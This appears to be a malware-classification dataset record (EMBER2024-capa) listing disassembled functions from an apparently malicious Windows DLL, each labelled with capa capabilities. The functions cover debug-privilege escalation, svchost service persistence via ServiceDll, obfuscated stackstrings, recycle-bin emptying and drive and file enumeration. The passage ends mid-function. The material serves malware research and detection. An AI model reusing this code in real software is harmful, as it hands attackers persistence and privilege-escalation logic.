joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009cf0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10009d0e
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10009d3f
xor eax, eax
jmp 0x10009dd2
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10009d99
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10009dd2
mov ecx, dword [ebp - 0x110]
lea esi, [ebp - 0x10c]
mov edi, dword [ebp + 0x14]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10009dcd
xor eax, eax
jmp 0x10009dd2
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009e80
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
xor eax, eax
je 0x10009e9b
nop
nop
sub al, 0x2d
pop eax
pop eax
lea eax, [ebp - 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009fb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10009fcb
sub al, 0x2d
pop eax
pop eax
push 0
push 0x80
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10009ff5
xor eax, eax
jmp 0x1000a023
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a030
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a04b
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a07f
xor eax, eax
jmp 0x1000a0ad
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a1d0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a1eb
sub al, 0x2d
pop eax
pop eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a206
jmp 0x1000a250
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a22e
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1000a250
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a260
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
je 0x1000a27e
nop
nop
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x10c], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jne 0x1000a2b9
or eax, 0xffffffff
jmp 0x1000a366
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.SVCHOST.EXE__k
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000a357
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a370
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a38b
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a3b7
or eax, 0xffffffff
jmp 0x1000a401
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a3e1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1000a401
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a410
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a42e
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a472
jmp 0x1000a4e0
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 2
push 0
push str.ServiceDll
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a4f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
nop
xor eax, eax
nop
nop
nop
xor eax, eax
je 0x1000a50b
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a549
jmp 0x1000a578
mov dword [ebp - 0xc], 4
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp + 0xc]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a580
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a59e
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000a5ee
jmp 0x1000a662
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x110], eax
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x110]
push eax
lea ecx, [ebp - 0x104]
push ecx
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a670
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
je 0x1000a68e
nop
nop
sub al, 0x2d
pop eax
pop eax
mov byte [ebp - 0x204], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x203]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x204], 0x53
mov byte [ebp - 0x203], 0x4f
mov byte [ebp - 0x202], 0x46
mov byte [ebp - 0x201], 0x54
mov byte [ebp - 0x200], 0x57
mov byte [ebp - 0x1ff], 0x41
mov byte [ebp - 0x1fe], 0x52
mov byte [ebp - 0x1fd], 0x45
mov byte [ebp - 0x1fc], 0x5c
mov byte [ebp - 0x1fb], 0x4d
mov byte [ebp - 0x1fa], 0x69
mov byte [ebp - 0x1f9], 0x63
mov byte [ebp - 0x1f8], 0x72
mov byte [ebp - 0x1f7], 0x6f
mov byte [ebp - 0x1f6], 0x73
mov byte [ebp - 0x1f5], 0x6f
mov byte [ebp - 0x1f4], 0x66
mov byte [ebp - 0x1f3], 0x74
mov byte [ebp - 0x1f2], 0x5c
mov byte [ebp - 0x1f1], 0x57
mov byte [ebp - 0x1f0], 0x69
mov byte [ebp - 0x1ef], 0x6e
mov byte [ebp - 0x1ee], 0x64
mov byte [ebp - 0x1ed], 0x6f
mov byte [ebp - 0x1ec], 0x77
mov byte [ebp - 0x1eb], 0x73
mov byte [ebp - 0x1ea], 0x20
mov byte [ebp - 0x1e9], 0x4e
mov byte [ebp - 0x1e8], 0x54
mov byte [ebp - 0x1e7], 0x5c
mov byte [ebp - 0x1e6], 0x43
mov byte [ebp - 0x1e5], 0x75
mov byte [ebp - 0x1e4], 0x72
mov byte [ebp - 0x1e3], 0x72
mov byte [ebp - 0x1e2], 0x65
mov byte [ebp - 0x1e1], 0x6e
mov byte [ebp - 0x1e0], 0x74
mov byte [ebp - 0x1df], 0x56
mov byte [ebp - 0x1de], 0x65
mov byte [ebp - 0x1dd], 0x72
mov byte [ebp - 0x1dc], 0x73
mov byte [ebp - 0x1db], 0x69
mov byte [ebp - 0x1da], 0x6f
mov byte [ebp - 0x1d9], 0x6e
mov byte [ebp - 0x1d8], 0x5c
mov byte [ebp - 0x1d7], 0x53
mov byte [ebp - 0x1d6], 0x76
mov byte [ebp - 0x1d5], 0x63
mov byte [ebp - 0x1d4], 0x48
mov byte [ebp - 0x1d3], 0x6f
mov byte [ebp - 0x1d2], 0x73
mov byte [ebp - 0x1d1], 0x74
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x214], 0
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x208]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x204]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x1000a866
jmp 0x1000a8d9
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 2
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
push eax
lea ecx, [ebp - 0x104]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x208]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0x208]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ae60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
add ecx, 0x10
call fcn.100037c0
mov eax, dword [ebp - 4]
mov dword [eax], 0x100123a8
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
je 0x1000ae90
nop
nop
sub al, 0x2d
pop eax
pop eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 4]
mov dword [edx + 8], 0
mov eax, dword [ebp - 4]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp - 4]
add ecx, 0x124
push ecx
push 0xfa
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str._05x.tnp
mov edx, dword [ebp - 4]
add edx, 0x124
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 0x124]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b210
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000b22c
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
push edx
push 0
push 0x10002800
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b250
Capabilities:
Empty the recycle bin

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000b26e
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
jmp 0x1000b28a
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
xor edx, edx
mov ecx, 0x224
div ecx
cmp dword [ebp - 8], eax
jae 0x1000b2c3
push 3
push 0x100145d0
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.1000c5b0
mov ecx, dword [ebp - 4]
add ecx, 0x224
mov dword [ebp - 4], ecx
jmp 0x1000b281
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b2e0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000b2fe
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000b322
mov eax, dword [ebp - 8]
mov dword [eax + 4], 0x1b62
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b330
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000b34e
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x400
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1000b37a
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], 0x1b61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b4a0
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000b4be
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 0x220
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
add edx, 0x18
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 8
push ecx
mov edx, dword [ebp + 0xc]
add edx, 0x220
push edx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
jne 0x1000b52f
mov eax, dword [ebp + 0xc]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x18], 0
mov dword [edx + 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov word [ebp - 0xb], ax
mov byte [ebp - 9], al
mov ecx, dword [ebp + 8]
push ecx
push 0x100144f8
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
mov eax, dword [ebp + 0xc]
add eax, 0x120
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push 0x80
mov eax, dword [ebp + 0xc]
add eax, 0x20
push eax
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000b670
Capabilities:
Get disk information
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
push ebx
push esi
push edi
mov dword [ebp - 0x378], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000b694
sub al, 0x2d
pop eax
pop eax
mov ecx, dword [ebp - 0x378]
call fcn.1000d9d0
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
jne 0x1000b6c1
mov eax, dword [ebp - 0x378]
mov dword [eax + 4], 0x1b69
jmp 0x1000b7ca
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x108]
push ecx
push 0x200
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10c], 0
jmp 0x1000b70a
mov edx, dword [ebp - 0x10c]
add edx, 4
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 4]
jae 0x1000b7bd
mov ecx, dword [ebp - 0x10c]
lea edx, [ebp + ecx - 0x108]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
mov eax, dword [ebp - 0x10c]
movsx ecx, byte [ebp + eax - 0x108]
cmp ecx, 0x41
je 0x1000b7b8
mov edx, dword [ebp - 0x10c]
movsx eax, byte [ebp + edx - 0x108]
cmp eax, 0x42
je 0x1000b7b8
mov dword [ebp - 0x370], 0
mov ecx, 0x96
xor eax, eax
lea edi, [ebp - 0x368]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x370]
push ecx
mov edx, dword [ebp - 0x10c]
lea eax, [ebp + edx - 0x108]
push eax
mov ecx, dword [ebp - 0x378]
call fcn.1000b4a0
mov dword [ebp - 0x374], 0
push 0
lea ecx, [ebp - 0x374]
push ecx
push 0x260
lea edx, [ebp - 0x370]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1000b6fb
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b880
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
push ebx
push esi
push edi
mov dword [ebp - 0x460], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
je 0x1000b8a4
nop
nop
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp - 0x460]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov byte [ebp - 0x110], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x458], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x457]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [ebp - 0xc]
push edx
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x458]
push ecx
push str._s.
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x354], 0
mov ecx, 0x4f
xor eax, eax
lea edi, [ebp - 0x350]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x354]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000b958
mov edx, dword [ebp - 0x460]
mov dword [edx + 4], 0x1b58
jmp 0x1000ba67
mov ecx, dword [ebp - 0x460]
call fcn.1000d9d0
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0xffffffff
jne 0x1000b98e
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x460]
mov dword [ecx + 4], 0x1b69
jmp 0x1000ba67
mov dword [ebp - 4], 0
mov byte [ebp - 0x214], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [ebp - 4], 0
jne 0x1000ba50
push 0x10014508
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
and eax, eax
je 0x1000ba20
push 0x10014504
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
and eax, eax
je 0x1000ba20
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0x458]
push edx
push str._s_s
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x214]
push ecx
mov edx, dword [ebp - 0x45c]
push edx
mov ecx, dword [ebp - 0x460]
call fcn.1000b7e0
lea eax, [ebp - 0x354]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000ba4b
